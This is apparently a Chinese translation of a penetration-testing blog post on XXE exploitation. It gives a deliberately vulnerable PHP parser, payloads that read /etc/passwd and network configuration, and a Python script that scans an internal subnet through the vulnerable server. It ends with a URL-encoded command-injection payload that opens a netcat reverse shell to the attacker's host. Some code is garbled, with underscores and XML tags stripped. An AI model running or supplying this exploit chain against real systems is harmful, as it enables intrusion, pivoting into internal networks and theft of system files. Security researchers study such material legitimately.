XXE漏洞利用的一些技巧

近期遇到一个XXE相关问题,多方寻找资料。从OWASP文档中得知,攻击者可以使用受信认应用跳转到其他内部系统,通过http(s)请求或使用CSRF攻击未受保护的内部系统获取内部系统信息。

0x01

现目前许多XML解析器实现都存在XXE利用。观察如下PHP脚本,其解析XML之后再进行发送,最后将结果返回给用户。将该脚本命名为NEWXXE.php并将其放入我的web根目录下CUSTOM目录中。虽说该脚本并不进行任何操作,但是管它呢,我们只是将其作为一个途径来观察解析器本身的问题。
WEBSVR01中安装该php脚本
<?php $xmlfile = file
getcontents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXMLNOENT | LIBXMLDTDLOAD); $xml = simplexmlimport_dom($dom); $stuff = $xml->stuff;

$str = "$stuff \n";

echo $str; ?>如果你想自己动手进行测试,可以将上面的脚本放入PHP服务器上(首先确保你已经安装了php-xml) 接下来创建一个包含以下内容的xml文件作为请求发送到服务器,我将其命名为send.txt然后将其从WEBSVR01发送到本地。This is my stuff 将请求发送给WEBSVR01即本地服务器,如下:
image注意观察返回的响应
该脚本运行正常,符合我们的预期。接下来就可以安心搞解析器了。

0x02

对send.txt进行如下修改
image

这是一个典型的XXE攻击,对于验证漏洞来说也很不错。如果一切运行正常,你应该可以得到/etc/passwd的转储信息。
从WEBSVR01再次发包到本地
image
XXE另外一个功能就是创建HTTP请求
image
在WEBSVR01上开启python SimpleHTTPServer(8888端口)
image

python http server:
image

不错,我们可以发送http请求
我可以从远端利用该漏洞并获得一些网络信息。从下面这张示意图中,你可以得知该漏洞存在与互联网中的web服务器上,这里我们可以将其作为一个跳板使用。
我得到web服务器(34.200.157.128),这就是WEBSVR01且装配有NAT/Firewall的设备。WEBSVR01存在XXE漏洞,对其收集信息以便作为跳板拿下WEBSRV02
image经过枚举发现该主机是一台Ubuntu服务器,这里有几个方法获取其网络信息:
首先你可以抓取/etc/networking/interfaces,如果需要更多信息可以看看/proc/net/route(这些值都是16进制,有必要的话需要进行转换)
攻击端Attack PC (Ubuntu 14 LTS),向存在漏洞的服务器发起文件请求以抓取/etc/network/interfaces
在攻击端编辑如下文件以抓取etc/passwd:
image

构造请求:
image

现如今我们得知了该主机内部网络的IP方案或DMZ。
使用内网IP地址10.0.0.3通过XXE抓取该服务器上的默认页面
注意!有些字符可能会影响到XML。到目前为止我们查看文件或是构造简单的http请求还没有遇到字符影响XML的情况。使用的PHP所以对返回的结果我们可以用Base64进行解码。在攻击端修改send.txt增加以下PHP过滤。
image

发送请求
image
之后获得一串base64编码,解码之后获得页面内容。
image

0x03

将前面所述结合起来,我们可以对web服务器的内网IP范围进行扫描
人生苦短,我用Python
image
import requests import base64

Origtional XML that the server accepts

user

def buildxml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """""" xml = xml + "\r\n" + """ &xxe;""" xml = xml + "\r\n" + """""" sendxml(xml)

def sendxml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEWXEE.php', data=xml, headers=headers, timeout=5).text codedstring = x.split(' ')[-2] # a little split to get only the base64 encoded value print codedstring

print base64.b64decode(coded_string)

for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue

项目详情可查看[github](https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py) 在攻击端执行 ![image](https://ws1.sinaimg.cn/large/6de149eegy1ffeyjn1j9dj218g07vgsl.jpg) 看看从10.0.0.4返回的数据都是些啥(base64解码) ![image](https://wx3.sinaimg.cn/large/6de149eegy1ffeykrf6r7j218g05zdmc.jpg) CoreHTTP? exploit-db上刚好有一个exp https://www.exploit-db.com/exploits/10610/ 由于我们获得了一个ndex.pl (Perl)文件,我假设其开启了CGI,那么该利用就是可用的。其漏洞原理是GET请求中传递的参数,因此我们能通过XXE漏洞在外部主机上进行利用。 经过Metasploit模块解密之后,需要发送以下形式的http请求:http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%200%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60 注意,34.200.157.80是我自己的IP地址且开启了Netcat监听器。
通过XXE漏洞触发在10.0.0.4上的利用。
image在攻击端创建一个Netcat监听器,然后执行
image
与反弹Shell差不多,现在你明白了吧。

全文终

 

原文链接:http://www.blackhillsinfosec.com/?p=5886

译者:Avkiki